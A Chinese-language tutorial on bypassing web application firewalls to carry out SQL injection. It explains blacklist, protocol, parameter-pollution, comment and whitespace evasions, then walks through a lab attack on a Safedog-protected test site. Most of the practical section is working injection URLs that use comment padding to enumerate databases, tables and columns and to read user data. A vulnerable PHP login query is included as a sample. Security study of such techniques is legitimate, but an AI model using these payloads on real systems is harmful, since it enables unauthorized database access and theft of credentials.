防
waf也叫做:网站应用级入侵防御系统
WAF绕过原理
1
白盒WAF绕过原理
代码
function blacklist($id)
{
$id= preg_replace('/or/i','', $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i','', $id); //Strip out AND (non case sensitive)
return $id;
}
$id=$_GET['id'];
$id= blacklist($id);
$hint=$id;
$sql='SELECT * FROM users WHERE id='$id' LIMIT 0,1';
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
可以看到`blacklist()`函数里面过滤了去`ADN`和`OR`还有一个`i`意思是大小写都可以
像上面的我们家可以用
`and`改成`&&`
`or`改成`||`
如果没有添加`i`就可以用大小写绕过了
就可以解决了
2
黑盒绕过WAF
云WAF绕过云WAF的原理图我们绕过就只需要找到真正的服务器就可以了
同网段绕过我们想办法进入到内网就可以解决了
3
资源限制绕过WAF
他的意思就是,如果用户发送特别大的数据包
应为WAF过滤大的数据包会变的缓慢,所以就减少过滤大的数据包的内容
黑客就可以进行在大的数据包里面写入sql语句进行注入
协议层面绕过WAF的检查
协议未覆盖绕过WAF
比如GET
改成POTS
有点就可以绕过了
猜数污染绕过WAF比如一个URL地址是http://xxxxx/a?id=1
我们可以用http://xxxxx/a?id=1&id=2
有的WEB服务器要的是最后一个猜数id=2
有的WAF他之过滤第一个猜数id=1
这样就可以绕过了WAF了
常见的绕过方法(规则层面的绕过)原理
1
sql注释符来绕过
简单的注释来绕过WAF
SELECT * FROM users WHERE id=1 union/**/ select 1,2,3 ;
其他的注释绕过的语句
union/*aaaaa%01bbs*/select
union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select
/*!xxx*/
2
空白符绕过
mysql空白符
%20 %09 %0a %0b %0d %0C %a0 %00 /**/ /*!*/
%20 %09 %0a %0b %0d
例.1
union%250cselect
%25=%
0=0
c=c
他就是`%0c`他就是空
例.2
union%25a0select
%25a0=%a0
%a0就是空
3
函数分割符号绕过WAF
WAF可能会对数据库敏感函数进行防御比如
version() mysql数据库版本
database() 当前数据库名
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@version_compile_os 操作系统版本
绕过方法
我们就可以用
concat/**/()
concat%250c()
等等
4
浮点型的进行绕过WAF
有点WAF会过滤int行动字符行的,都是他过滤不了浮点型的
SELECT * FROM users WHERE id=8EOunion select 1,2,3 ;
SELECT * FROM users WHERE id=8.0union select 1,2,3 ;
SELECT * FROM users WHERE id=\Nunion select 1,2,3 ;
5
利用报错注入进行过滤waf
应为报错注入会出现不常见的mysql函数这个就不多说了
实战绕过WAF
1
找寻是否存在SQL注入
这个我用的是安全狗我输入
进行fuzz过滤waf
用Burp进行fuzz过滤waf
添加特殊字符进行fuzz
其他不常用的字符也可以
这个我用的是下面的字符
a1!%('&/*
可以看到很多都是被过滤了
看一下其他响应的大小来查询fuzz
在浏览器看一下
显示正常
http://192.168.31.94/Less-1/?id=1'/*%!*/and/*%!*/1=1/*%!*/--+
我们修改成`2`看看
URL是
http://192.168.31.94/Less-1/?id=1'/*%!*/and/*%!*/1=2/*%!*/--+
发现`/*%!*/`是可以绕过waf的
?id=1'/*!*/and/*!*/1=1/*!*/--+
?id=1'/*%!*/and/*%!*/1=1/*%!*/--+
?id=1'/*%!1*/and/*%!1*/1=1/*%!1*/--+
?id=1'/*%!!*/and/*%!!*/1=1/*%!!*/--+
?id=1'/*%%!*/and/*%%!*/1=1/*%%!*/--+
?id=1'/*%!%*/and/*%!%*/1=1/*%!%*/--+
等等等等......
2
ORDER BY 判断列数
a1!%('&/*
192.168.31.94/Less-1/?id=1'/*%!a*/ORDER/*%!a*/BY/*%!a*/1/*%!a*/--+
http://192.168.31.94/Less-1/?id=1'/*%!a*/ORDER/*%!a*/BY/*%!a*/3/*%!
http://192.168.31.94/Less-1/?id=1'/*%!a*/ORDER/*%!a*/BY/*%!a*/4/*%!a*/--+
?id=1'/*%!aa*/ORDER/*%!aa*/BY/*%!aa*/1/*%!aa*/--+
?id=1'/*%!1a*/ORDER/*%!1a*/BY/*%!1a*/1/*%!1a*/--+
?id=1'/*%!!a*/ORDER/*%!!a*/BY/*%!!a*/1/*%!!a*/--+
?id=1'/*%%!a*/ORDER/*%%!a*/BY/*%%!a*/1/*%%!a*/--+
?id=1'/*%!%a*/ORDER/*%!%a*/BY/*%!%a*/1/*%!%a*/--+
?id=1'/*%!(a*/ORDER/*%!(a*/BY/*%!(a*/1/*%!(a*/--+
3
观察页面返回,选择可以显示数据的位置,进行下一步的注入
http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,2,
结果是`2`和`3`
4
读取库的信息
还是用的`/*%!a*/`绕过waf
URL地址
http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,user(),3/*%!a*/--+
发现添加了`user()`被拦截了
这个`@@datadir`函数waf没有被过滤
URL地址
http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,@@datadir,3/*%!a*/--+
这个`@@version_compile_os`函数也waf也是没有过滤的
URL地址
http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,@@version_compile_os,3/*%!a*/--+
5
读取数据
还是用`/*%!a*/`来绕过waf
查询数据库的语句
(select schema_name from information_schema.schemata LIMIT 0,1)
URL地址
http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,(select/*%!a*/schema_name/*%!a*/from/*%!a*/information_schema.schemata/*%!a*/LIMIT 0,1),3/*%!a*/1--+
用`group_concat()`函数读取全部的数据库名
http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,(select/*%!a*/group_concat(schema_name)/*%!a*/from/*%!a*/information_schema.schemata/*%!a*/LIMIT 0,1),3/*%!a*/--+
结果可以看到已经显示出来的全部的数据库
通过上面的查询库名知道了数据库名
语句
(select group_concat(table_name) from information_schema.tables where table_schema='上面查询出来的数据库名')
还是全部的空格都替换成`/*%!a*/`
URL地址
http://192.168.31.94/Less-1/?id=-1%27/*%!a*/union/*%!a*/select/*%!a*/1,(select/*%!a*/group_concat(table_name)/*%!a*/from/*%!a*/information_schema.tables/*%!a*/where/*%!a*/table_schema='security'),3/*%!a*/--+
通过上面的查询查询出来了库和表
通过上面的表查询列
语句
(select group_concat(column_name) from information_schema.columns where table_name='表名')
还是全部的空格都替换成`/*%!a*/`
URL地址
http://192.168.31.94/Less-1/?id=-1%27/*%!a*/union/*%!a*/select/*%!a*/1,(select/*%!a*/group_concat(column_name)/*%!a*/from/*%!a*/information_schema.columns/*%!a*/where/*%!a*/table_name='users'),3/*%!a*/--+
通过上面的注入,知道了库,表,列
知道了全部就可以查询数据了
语句
select 列名 from 库名.表名
结果已经读取到数据库数据
联系客服